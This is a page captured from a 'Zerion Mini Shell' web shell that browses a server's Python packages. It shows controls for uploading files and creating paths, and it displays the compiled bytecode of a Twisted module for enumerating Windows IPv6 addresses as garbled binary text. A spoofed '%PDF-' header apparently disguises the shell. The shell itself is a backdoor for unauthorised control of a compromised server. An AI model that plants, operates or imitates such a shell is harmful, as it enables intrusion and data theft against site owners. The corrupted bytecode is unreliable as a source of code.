%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/internet/test/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/internet/test/__pycache__/_win32ifaces.cpython-312.pyc

�

Ϫ�f��	�.�dZddlmZmZmZmZmZmZmZm	Z	m
Z
mZddlm
Z
mZmZed�ZeZeZeZeZeZeZeZeZeZej2Zeeeeeeeeeg	e_ee_ej8Zeeeeege_ee_dZdZGd�de�Z d	�Z!d
�Z"y)z@
Windows implementation of local network interface enumeration.
�)
�POINTER�	Structure�WinDLL�byref�c_int�c_void_p�cast�create_string_buffer�create_unicode_buffer�
wstring_at)�AF_INET6�SOCK_STREAM�socket�ws2_32iHi'c��eZdZdefdefgZy)�SOCKET_ADDRESS�
lpSockaddr�iSockaddrLengthN)�__name__�
__module__�__qualname__rr�_fields_���D/usr/lib/python3/dist-packages/twisted/internet/test/_win32ifaces.pyrrMs���x�(�+<�e�*D�E�Hrrc�*��G�fd�dt�}|S)Nc�&��eZdZdefdeW�zfgZy)�%make_SAL.<locals>.SOCKET_ADDRESS_LIST�
iAddressCount�AddressN)rrrrrr)�lns�r�SOCKET_ADDRESS_LISTrRs���$�e�,�y�.�2�:M�.N�O�rr")r)r!r"s` r�make_SALr#Qs���P�i�P��rc� �ttt�}d}t�}t	d�D]W}t|�}t
|j�tdd||t|�dd�	}|r|jr
|j}�Wnrtd��tttd���}|dj}t|tt|���}d}t!|�}	g}
t	|dj�D]n}||_
|dj"|}t%|j&|j(d|	t|��}|rtd��|
j+t-|	���p|
D�cgc]	}d|vs�|��c}Scc}w)z�
    Return a list of strings in colon-hex format representing all the link local
    IPv6 addresses available on the system, as reported by
    I{WSAIoctl}/C{SIO_ADDRESS_LIST_QUERY}.
    i�rzWSAIoctl failureizWSAAddressToString failure�%)rr
rr�ranger
�WSAIoctl�fileno�SIO_ADDRESS_LIST_QUERYr�value�RuntimeErrorr	rr#rrr �WSAAddressToStringrr�appendr)
�s�size�retBytes�i�buf�ret�addrList�	addrCount�addressStringBufLength�addressStringBuf�retList�address�addrs
             r�win32GetLinkLocalIPv6Addressesr<Xs}��	�x��%�A��D��w�H�
�1�X�
��"�4�(���
�H�H�J�.��1�c�4��x��RS�UV�
���8�>�>��>�>�D��
� ��-�.�.��C���!��-�.�H����)�)�I��C���)�!4�5�6�H�!��,�-C�D���G�
�8�A�;�,�,�
-�5��/����1�+�%�%�a�(�� �����#�#�
���(�O�
����;�<�<����z�"2�3�4�5�%�4�T��t��D�4�4��4s�:	F�FN)#�__doc__�ctypesrrrrrrr	r
rrrr
r�WS2_32�SOCKET�DWORD�LPVOID�
LPSOCKADDR�LPWSAPROTOCOL_INFO�LPTSTR�LPDWORD�LPWSAOVERLAPPED�"LPWSAOVERLAPPED_COMPLETION_ROUTINEr(�argtypes�restype�WSAAddressToStringWr-r*�	WSAEFAULTrr#r<rrr�<module>rMs�������1�0�	��	��	��
��	��
�
���	��
����%-�"��?�?��
�	�
�	�
�	���&�
�������/�/��)�5�2D�f�g�V���"���$���	�F�Y�F��15r

Zerion Mini Shell 1.0